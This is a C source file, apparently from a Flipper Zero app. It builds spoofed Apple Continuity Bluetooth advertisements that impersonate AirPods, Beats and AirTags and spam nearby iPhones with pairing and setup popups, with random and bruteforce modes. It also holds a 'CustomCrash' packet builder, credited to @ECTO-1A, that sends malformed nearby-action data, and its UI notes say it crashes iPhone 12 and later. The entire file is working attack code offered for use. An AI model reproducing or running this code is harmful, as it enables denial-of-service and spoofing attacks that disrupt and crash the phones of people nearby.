continuity.c 45 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_airpods_max[] = {
  15. {0x00, "White"},
  16. {0x02, "Red"},
  17. {0x03, "Blue"},
  18. {0x0F, "Black"},
  19. {0x11, "Light Green"},
  20. };
  21. static const ContinuityColor colors_beats_flex[] = {
  22. {0x00, "White"},
  23. {0x01, "Black"},
  24. };
  25. static const ContinuityColor colors_beats_solo_3[] = {
  26. {0x00, "White"},
  27. {0x01, "Black"},
  28. {0x6, "Gray"},
  29. {0x7, "Gold/White"},
  30. {0x8, "Rose Gold"},
  31. {0x09, "Black"},
  32. {0xE, "Violet/White"},
  33. {0xF, "Bright Red"},
  34. {0x12, "Dark Red"},
  35. {0x13, "Swamp Green"},
  36. {0x14, "Dark Gray"},
  37. {0x15, "Dark Blue"},
  38. {0x1D, "Rose Gold 2"},
  39. {0x20, "Blue/Green"},
  40. {0x21, "Purple/Orange"},
  41. {0x22, "Deep Blue/ Light blue"},
  42. {0x23, "Magenta/Light Fuchsia"},
  43. {0x25, "Black/Red"},
  44. {0x2A, "Gray / Disney LTD"},
  45. {0x2E, "Pinkish white"},
  46. {0x3D, "Red/Blue"},
  47. {0x3E, "Yellow/Blue"},
  48. {0x3F, "White/Red"},
  49. {0x40, "Purple/White"},
  50. {0x5B, "Gold"},
  51. {0x5C, "Silver"},
  52. };
  53. static const ContinuityColor colors_powerbeats_3[] = {
  54. {0x00, "White"},
  55. {0x01, "Black"},
  56. {0x0B, "Gray/Blue"},
  57. {0x0C, "Gray/Red"},
  58. {0x0D, "Gray/Green"},
  59. {0x12, "Red"},
  60. {0x13, "Swamp Green"},
  61. {0x14, "Gray"},
  62. {0x15, "Deep Blue"},
  63. {0x17, "Dark with Gold Logo"},
  64. };
  65. static const ContinuityColor colors_powerbeats_pro[] = {
  66. {0x00, "White"},
  67. {0x02, "Yellowish Green"},
  68. {0x03, "Blue"},
  69. {0x04, "Black"},
  70. {0x05, "Pink"},
  71. {0x06, "Red"},
  72. {0x0B, "Gray ?"},
  73. {0x0D, "Sky Blue"},
  74. };
  75. static const ContinuityColor colors_beats_solo_pro[] = {
  76. {0x00, "White"},
  77. {0x01, "Black"},
  78. };
  79. static const ContinuityColor colors_beats_studio_buds[] = {
  80. {0x00, "White"},
  81. {0x01, "Black"},
  82. {0x02, "Red"},
  83. {0x03, "Blue"},
  84. {0x04, "Pink"},
  85. {0x06, "Silver"},
  86. };
  87. static const ContinuityColor colors_beats_x[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. {0x02, "Blue"},
  91. {0x05, "Gray"},
  92. {0x1D, "Pink"},
  93. {0x25, "Dark/Red"},
  94. };
  95. static const ContinuityColor colors_beats_studio_3[] = {
  96. {0x00, "White"},
  97. {0x01, "Black"},
  98. {0x02, "Red"},
  99. {0x03, "Blue"},
  100. {0x18, "Shadow Gray"},
  101. {0x19, "Desert Sand"},
  102. {0x25, "Black / Red"},
  103. {0x26, "Midnight Black"},
  104. {0x27, "Desert Sand 2"},
  105. {0x28, "Gray"},
  106. {0x29, "Clear blue/ gold"},
  107. {0x42, "Green Forest camo"},
  108. {0x43, "White Camo"},
  109. };
  110. static const ContinuityColor colors_beats_studio_pro[] = {
  111. {0x00, "White"},
  112. {0x01, "Black"},
  113. };
  114. static const ContinuityColor colors_beats_fit_pro[] = {
  115. {0x00, "White"},
  116. {0x01, "Black"},
  117. {0x02, "Pink"},
  118. {0x03, "Grey/White"},
  119. {0x04, "Full Pink"},
  120. {0x05, "Neon Green"},
  121. {0x06, "Night Blue"},
  122. {0x07, "Light Pink"},
  123. {0x08, "Brown"},
  124. {0x09, "Dark Brown"},
  125. };
  126. static const ContinuityColor colors_beats_studio_buds_[] = {
  127. {0x00, "Black"},
  128. {0x01, "White"},
  129. {0x02, "Transparent"},
  130. {0x03, "Silver"},
  131. {0x04, "Pink"},
  132. };
  133. static const struct {
  134. uint16_t value;
  135. const char* name;
  136. const ContinuityColor* colors;
  137. const uint8_t colors_count;
  138. } pp_models[] = {
  139. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  140. {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)},
  141. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  142. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  143. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  144. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  145. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  146. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  147. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  148. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  149. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  150. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  151. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  152. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  153. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  154. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  155. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  156. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  157. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  158. };
  159. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  160. static const struct {
  161. uint8_t value;
  162. const char* name;
  163. } pp_prefixes[] = {
  164. {0x07, "New Device"},
  165. {0x01, "Not Your Device"},
  166. {0x05, "New Airtag"},
  167. };
  168. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  169. static const struct {
  170. uint8_t value;
  171. const char* name;
  172. } na_actions[] = {
  173. {0x13, "AppleTV AutoFill"},
  174. {0x24, "Apple Vision Pro"},
  175. {0x05, "Apple Watch"},
  176. {0x27, "AppleTV Connecting..."},
  177. {0x20, "Join This AppleTV?"},
  178. {0x19, "AppleTV Audio Sync"},
  179. {0x1E, "AppleTV Color Balance"},
  180. {0x09, "Setup New iPhone"},
  181. {0x2F, "Sign in to other device"},
  182. {0x02, "Transfer Phone Number"},
  183. {0x0B, "HomePod Setup"},
  184. {0x01, "Setup New AppleTV"},
  185. {0x06, "Pair AppleTV"},
  186. {0x0D, "HomeKit AppleTV Setup"},
  187. {0x2B, "AppleID for AppleTV?"},
  188. };
  189. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  190. static const char* type_names[ContinuityTypeCOUNT] = {
  191. [ContinuityTypeAirDrop] = "AirDrop",
  192. [ContinuityTypeProximityPair] = "Continuity Pair",
  193. [ContinuityTypeAirplayTarget] = "Airplay Target",
  194. [ContinuityTypeHandoff] = "Handoff",
  195. [ContinuityTypeTetheringSource] = "Tethering Source",
  196. [ContinuityTypeNearbyAction] = "Continuity Action",
  197. [ContinuityTypeNearbyInfo] = "Nearby Info",
  198. [ContinuityTypeCustomCrash] = "Continuity Custom",
  199. };
  200. static const char* get_name(const Payload* payload) {
  201. const ContinuityCfg* cfg = &payload->cfg.continuity;
  202. return type_names[cfg->type];
  203. }
  204. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  205. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  206. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  207. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  208. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  209. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  210. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  211. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  212. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  213. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  214. };
  215. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  216. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  217. ContinuityType type;
  218. if(cfg && cfg->type != 0x00) {
  219. type = cfg->type;
  220. } else {
  221. const ContinuityType types[] = {
  222. ContinuityTypeProximityPair,
  223. ContinuityTypeNearbyAction,
  224. ContinuityTypeCustomCrash,
  225. };
  226. type = types[rand() % COUNT_OF(types)];
  227. }
  228. uint8_t size = packet_sizes[type];
  229. uint8_t* packet = malloc(size);
  230. uint8_t i = 0;
  231. packet[i++] = size - 1; // Size
  232. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  233. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  234. packet[i++] = 0x00; // ...
  235. packet[i++] = type; // Continuity Type
  236. packet[i] = size - i - 1; // Continuity Size
  237. i++;
  238. switch(type) {
  239. case ContinuityTypeAirDrop: {
  240. packet[i++] = 0x00; // Zeros
  241. packet[i++] = 0x00; // ...
  242. packet[i++] = 0x00; // ...
  243. packet[i++] = 0x00; // ...
  244. packet[i++] = 0x00; // ...
  245. packet[i++] = 0x00; // ...
  246. packet[i++] = 0x00; // ...
  247. packet[i++] = 0x00; // ...
  248. packet[i++] = 0x01; // Version
  249. packet[i++] = (rand() % 256); // AppleID
  250. packet[i++] = (rand() % 256); // ...
  251. packet[i++] = (rand() % 256); // Phone Number
  252. packet[i++] = (rand() % 256); // ...
  253. packet[i++] = (rand() % 256); // Email
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // Email2
  256. packet[i++] = (rand() % 256); // ...
  257. packet[i++] = 0x00; // Zero
  258. break;
  259. }
  260. case ContinuityTypeProximityPair: {
  261. uint16_t model;
  262. uint8_t color;
  263. switch(payload ? payload->mode : PayloadModeRandom) {
  264. case PayloadModeRandom:
  265. default: {
  266. uint8_t model_index = rand() % pp_models_count;
  267. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  268. model = pp_models[model_index].value;
  269. color = pp_models[model_index].colors[color_index].value;
  270. break;
  271. }
  272. case PayloadModeValue:
  273. model = cfg->data.proximity_pair.model;
  274. color = cfg->data.proximity_pair.color;
  275. break;
  276. case PayloadModeBruteforce:
  277. switch(cfg->data.proximity_pair.bruteforce_mode) {
  278. case ContinuityPpBruteforceModel:
  279. default:
  280. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  281. color = cfg->data.proximity_pair.color;
  282. break;
  283. case ContinuityPpBruteforceColor:
  284. model = cfg->data.proximity_pair.model;
  285. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  286. break;
  287. }
  288. break;
  289. }
  290. uint8_t prefix;
  291. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  292. prefix = cfg->data.proximity_pair.prefix;
  293. } else {
  294. if(model == 0x0055 || model == 0x0030)
  295. prefix = 0x05;
  296. else
  297. prefix = 0x01;
  298. }
  299. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  300. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  301. packet[i++] = (model >> 0x00) & 0xFF; // ...
  302. packet[i++] = 0x55; // Status
  303. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  304. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  305. packet[i++] = (rand() % 256); // Lid Open Counter
  306. packet[i++] = color; // Device Color
  307. packet[i++] = 0x00;
  308. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  309. i += 16;
  310. break;
  311. }
  312. case ContinuityTypeAirplayTarget: {
  313. packet[i++] = (rand() % 256); // Flags
  314. packet[i++] = (rand() % 256); // Configuration Seed
  315. packet[i++] = (rand() % 256); // IPv4 Address
  316. packet[i++] = (rand() % 256); // ...
  317. packet[i++] = (rand() % 256); // ...
  318. packet[i++] = (rand() % 256); // ...
  319. break;
  320. }
  321. case ContinuityTypeHandoff: {
  322. packet[i++] = 0x01; // Version
  323. packet[i++] = (rand() % 256); // Initialization Vector
  324. packet[i++] = (rand() % 256); // ...
  325. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  326. packet[i++] = (rand() % 256); // Encrypted Payload
  327. packet[i++] = (rand() % 256); // ...
  328. packet[i++] = (rand() % 256); // ...
  329. packet[i++] = (rand() % 256); // ...
  330. packet[i++] = (rand() % 256); // ...
  331. packet[i++] = (rand() % 256); // ...
  332. packet[i++] = (rand() % 256); // ...
  333. packet[i++] = (rand() % 256); // ...
  334. packet[i++] = (rand() % 256); // ...
  335. packet[i++] = (rand() % 256); // ...
  336. break;
  337. }
  338. case ContinuityTypeTetheringSource: {
  339. packet[i++] = 0x01; // Version
  340. packet[i++] = (rand() % 256); // Flags
  341. packet[i++] = (rand() % 101); // Battery Life
  342. packet[i++] = 0x00; // Cell Service Type
  343. packet[i++] = (rand() % 8); // ...
  344. packet[i++] = (rand() % 5); // Cell Service Strength
  345. break;
  346. }
  347. case ContinuityTypeNearbyAction: {
  348. uint8_t action;
  349. switch(payload ? payload->mode : PayloadModeRandom) {
  350. case PayloadModeRandom:
  351. default:
  352. action = na_actions[rand() % na_actions_count].value;
  353. break;
  354. case PayloadModeValue:
  355. action = cfg->data.nearby_action.action;
  356. break;
  357. case PayloadModeBruteforce:
  358. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  359. break;
  360. }
  361. uint8_t flags;
  362. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  363. flags = cfg->data.nearby_action.flags;
  364. } else {
  365. flags = 0xC0;
  366. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  367. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  368. }
  369. packet[i++] = flags; // Action Flags
  370. packet[i++] = action; // Action Type
  371. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  372. i += 3;
  373. break;
  374. }
  375. case ContinuityTypeNearbyInfo: {
  376. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  377. packet[i++] = (rand() % 256); // Status Flags
  378. packet[i++] = (rand() % 256); // Authentication Tag
  379. packet[i++] = (rand() % 256); // ...
  380. packet[i++] = (rand() % 256); // ...
  381. break;
  382. }
  383. case ContinuityTypeCustomCrash: {
  384. // Found by @ECTO-1A
  385. uint8_t action = na_actions[rand() % na_actions_count].value;
  386. uint8_t flags = 0xC0;
  387. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  388. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  389. i -= 2; // Override segment header
  390. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  391. packet[i++] = 5; // Continuity Size
  392. packet[i++] = flags; // Action Flags
  393. packet[i++] = action; // Action Type
  394. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  395. i += 3;
  396. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  397. packet[i++] = 0x00; // ...
  398. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  399. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  400. i += 3;
  401. break;
  402. }
  403. default:
  404. break;
  405. }
  406. *_size = size;
  407. *_packet = packet;
  408. }
  409. enum {
  410. _ConfigPpExtraStart = ConfigExtraStart,
  411. ConfigPpModel,
  412. ConfigPpColor,
  413. ConfigPpPrefix,
  414. ConfigPpCOUNT,
  415. };
  416. enum {
  417. _ConfigNaExtraStart = ConfigExtraStart,
  418. ConfigNaAction,
  419. ConfigNaFlags,
  420. ConfigNaCOUNT,
  421. };
  422. enum {
  423. _ConfigCcExtraStart = ConfigExtraStart,
  424. ConfigCcInfoLock,
  425. ConfigCcInfoDevice,
  426. ConfigCcCOUNT,
  427. };
  428. static void config_callback(void* _ctx, uint32_t index) {
  429. Ctx* ctx = _ctx;
  430. Payload* payload = &ctx->attack->payload;
  431. ContinuityCfg* cfg = &payload->cfg.continuity;
  432. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  433. switch(cfg->type) {
  434. case ContinuityTypeProximityPair: {
  435. switch(index) {
  436. case ConfigPpModel:
  437. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  438. break;
  439. case ConfigPpColor:
  440. if(payload->mode != PayloadModeRandom)
  441. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  442. break;
  443. case ConfigPpPrefix:
  444. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  445. break;
  446. default:
  447. ctx->fallback_config_enter(ctx, index);
  448. break;
  449. }
  450. break;
  451. }
  452. case ContinuityTypeNearbyAction: {
  453. switch(index) {
  454. case ConfigNaAction:
  455. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  456. break;
  457. case ConfigNaFlags:
  458. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  459. break;
  460. default:
  461. ctx->fallback_config_enter(ctx, index);
  462. break;
  463. }
  464. break;
  465. }
  466. case ContinuityTypeCustomCrash: {
  467. switch(index) {
  468. case ConfigCcInfoLock:
  469. case ConfigCcInfoDevice:
  470. break;
  471. default:
  472. ctx->fallback_config_enter(ctx, index);
  473. break;
  474. }
  475. break;
  476. }
  477. default:
  478. ctx->fallback_config_enter(ctx, index);
  479. break;
  480. }
  481. }
  482. static void pp_model_changed(VariableItem* item) {
  483. Ctx* ctx = variable_item_get_context(item);
  484. Payload* payload = &ctx->attack->payload;
  485. ContinuityCfg* cfg = &payload->cfg.continuity;
  486. uint8_t index = variable_item_get_current_value_index(item);
  487. const char* color_name = NULL;
  488. char color_name_buf[3];
  489. uint8_t colors_count;
  490. uint8_t value_index_color;
  491. if(index) {
  492. index--;
  493. if(payload->mode != PayloadModeBruteforce ||
  494. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  495. payload->mode = PayloadModeValue;
  496. cfg->data.proximity_pair.model = pp_models[index].value;
  497. variable_item_set_current_value_text(item, pp_models[index].name);
  498. colors_count = pp_models[index].colors_count;
  499. if(payload->mode == PayloadModeValue) {
  500. for(uint8_t j = 0; j < colors_count; j++) {
  501. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  502. color_name = pp_models[index].colors[j].name;
  503. value_index_color = j;
  504. break;
  505. }
  506. }
  507. if(!color_name) {
  508. snprintf(
  509. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  510. color_name = color_name_buf;
  511. value_index_color = colors_count;
  512. }
  513. } else {
  514. color_name = "Bruteforce";
  515. value_index_color = colors_count;
  516. }
  517. } else {
  518. payload->mode = PayloadModeRandom;
  519. variable_item_set_current_value_text(item, "Random");
  520. color_name = "Random";
  521. colors_count = 1;
  522. value_index_color = 0;
  523. }
  524. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  525. variable_item_set_values_count(item, colors_count);
  526. variable_item_set_current_value_index(item, value_index_color);
  527. variable_item_set_current_value_text(item, color_name);
  528. }
  529. static void pp_color_changed(VariableItem* item) {
  530. Payload* payload = variable_item_get_context(item);
  531. ContinuityCfg* cfg = &payload->cfg.continuity;
  532. uint8_t index = variable_item_get_current_value_index(item);
  533. if(payload->mode != PayloadModeBruteforce ||
  534. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  535. payload->mode = PayloadModeValue;
  536. uint8_t model_index = 0;
  537. for(; model_index < pp_models_count; model_index++) {
  538. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  539. }
  540. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  541. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  542. }
  543. static void pp_prefix_changed(VariableItem* item) {
  544. Payload* payload = variable_item_get_context(item);
  545. ContinuityCfg* cfg = &payload->cfg.continuity;
  546. uint8_t index = variable_item_get_current_value_index(item);
  547. if(index) {
  548. index--;
  549. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  550. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  551. } else {
  552. cfg->data.proximity_pair.prefix = 0x00;
  553. variable_item_set_current_value_text(item, "Auto");
  554. }
  555. }
  556. static void na_action_changed(VariableItem* item) {
  557. Payload* payload = variable_item_get_context(item);
  558. ContinuityCfg* cfg = &payload->cfg.continuity;
  559. uint8_t index = variable_item_get_current_value_index(item);
  560. if(index) {
  561. index--;
  562. payload->mode = PayloadModeValue;
  563. cfg->data.nearby_action.action = na_actions[index].value;
  564. variable_item_set_current_value_text(item, na_actions[index].name);
  565. } else {
  566. payload->mode = PayloadModeRandom;
  567. variable_item_set_current_value_text(item, "Random");
  568. }
  569. }
  570. static void extra_config(Ctx* ctx) {
  571. Payload* payload = &ctx->attack->payload;
  572. ContinuityCfg* cfg = &payload->cfg.continuity;
  573. VariableItemList* list = ctx->variable_item_list;
  574. VariableItem* item;
  575. uint8_t value_index;
  576. switch(cfg->type) {
  577. case ContinuityTypeProximityPair: {
  578. item =
  579. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  580. const char* model_name = NULL;
  581. char model_name_buf[5];
  582. const char* color_name = NULL;
  583. char color_name_buf[3];
  584. uint8_t colors_count;
  585. uint8_t value_index_color;
  586. switch(payload->mode) {
  587. case PayloadModeRandom:
  588. default:
  589. model_name = "Random";
  590. value_index = 0;
  591. color_name = "Random";
  592. colors_count = 1;
  593. value_index_color = 0;
  594. break;
  595. case PayloadModeValue:
  596. for(uint8_t i = 0; i < pp_models_count; i++) {
  597. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  598. model_name = pp_models[i].name;
  599. value_index = i + 1;
  600. colors_count = pp_models[i].colors_count;
  601. for(uint8_t j = 0; j < colors_count; j++) {
  602. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  603. color_name = pp_models[i].colors[j].name;
  604. value_index_color = j;
  605. break;
  606. }
  607. }
  608. break;
  609. }
  610. }
  611. if(!model_name) {
  612. snprintf(
  613. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  614. model_name = model_name_buf;
  615. value_index = pp_models_count + 1;
  616. colors_count = 0;
  617. }
  618. if(!color_name) {
  619. snprintf(
  620. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  621. color_name = color_name_buf;
  622. value_index_color = colors_count;
  623. }
  624. break;
  625. case PayloadModeBruteforce:
  626. switch(cfg->data.proximity_pair.bruteforce_mode) {
  627. case ContinuityPpBruteforceModel:
  628. default:
  629. model_name = "Bruteforce";
  630. value_index = pp_models_count + 1;
  631. snprintf(
  632. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  633. color_name = color_name_buf;
  634. colors_count = 1;
  635. value_index_color = 0;
  636. break;
  637. case ContinuityPpBruteforceColor:
  638. for(uint8_t i = 0; i < pp_models_count; i++) {
  639. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  640. model_name = pp_models[i].name;
  641. value_index = i + 1;
  642. colors_count = pp_models[i].colors_count;
  643. break;
  644. }
  645. }
  646. if(!model_name) {
  647. snprintf(
  648. model_name_buf,
  649. sizeof(model_name_buf),
  650. "%04X",
  651. cfg->data.proximity_pair.model);
  652. model_name = model_name_buf;
  653. value_index = pp_models_count + 1;
  654. colors_count = 0;
  655. }
  656. color_name = "Bruteforce";
  657. value_index_color = colors_count;
  658. break;
  659. }
  660. break;
  661. }
  662. variable_item_set_current_value_index(item, value_index);
  663. variable_item_set_current_value_text(item, model_name);
  664. item =
  665. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  666. variable_item_set_current_value_index(item, value_index_color);
  667. variable_item_set_current_value_text(item, color_name);
  668. item = variable_item_list_add(
  669. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  670. const char* prefix_name = NULL;
  671. char prefix_name_buf[3];
  672. if(cfg->data.proximity_pair.prefix == 0x00) {
  673. prefix_name = "Auto";
  674. value_index = 0;
  675. } else {
  676. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  677. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  678. prefix_name = pp_prefixes[i].name;
  679. value_index = i + 1;
  680. break;
  681. }
  682. }
  683. if(!prefix_name) {
  684. snprintf(
  685. prefix_name_buf,
  686. sizeof(prefix_name_buf),
  687. "%02X",
  688. cfg->data.proximity_pair.prefix);
  689. prefix_name = prefix_name_buf;
  690. value_index = pp_prefixes_count + 1;
  691. }
  692. }
  693. variable_item_set_current_value_index(item, value_index);
  694. variable_item_set_current_value_text(item, prefix_name);
  695. break;
  696. }
  697. case ContinuityTypeNearbyAction: {
  698. item = variable_item_list_add(
  699. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  700. const char* action_name = NULL;
  701. char action_name_buf[3];
  702. switch(payload->mode) {
  703. case PayloadModeRandom:
  704. default:
  705. action_name = "Random";
  706. value_index = 0;
  707. break;
  708. case PayloadModeValue:
  709. for(uint8_t i = 0; i < na_actions_count; i++) {
  710. if(cfg->data.nearby_action.action == na_actions[i].value) {
  711. action_name = na_actions[i].name;
  712. value_index = i + 1;
  713. break;
  714. }
  715. }
  716. if(!action_name) {
  717. snprintf(
  718. action_name_buf,
  719. sizeof(action_name_buf),
  720. "%02X",
  721. cfg->data.nearby_action.action);
  722. action_name = action_name_buf;
  723. value_index = na_actions_count + 1;
  724. }
  725. break;
  726. case PayloadModeBruteforce:
  727. action_name = "Bruteforce";
  728. value_index = na_actions_count + 1;
  729. break;
  730. }
  731. variable_item_set_current_value_index(item, value_index);
  732. variable_item_set_current_value_text(item, action_name);
  733. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  734. const char* flags_name = NULL;
  735. char flags_name_buf[3];
  736. if(cfg->data.nearby_action.flags == 0x00) {
  737. flags_name = "Auto";
  738. } else {
  739. snprintf(
  740. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  741. flags_name = flags_name_buf;
  742. }
  743. variable_item_set_current_value_text(item, flags_name);
  744. break;
  745. }
  746. case ContinuityTypeCustomCrash: {
  747. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  748. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  749. break;
  750. }
  751. default:
  752. break;
  753. }
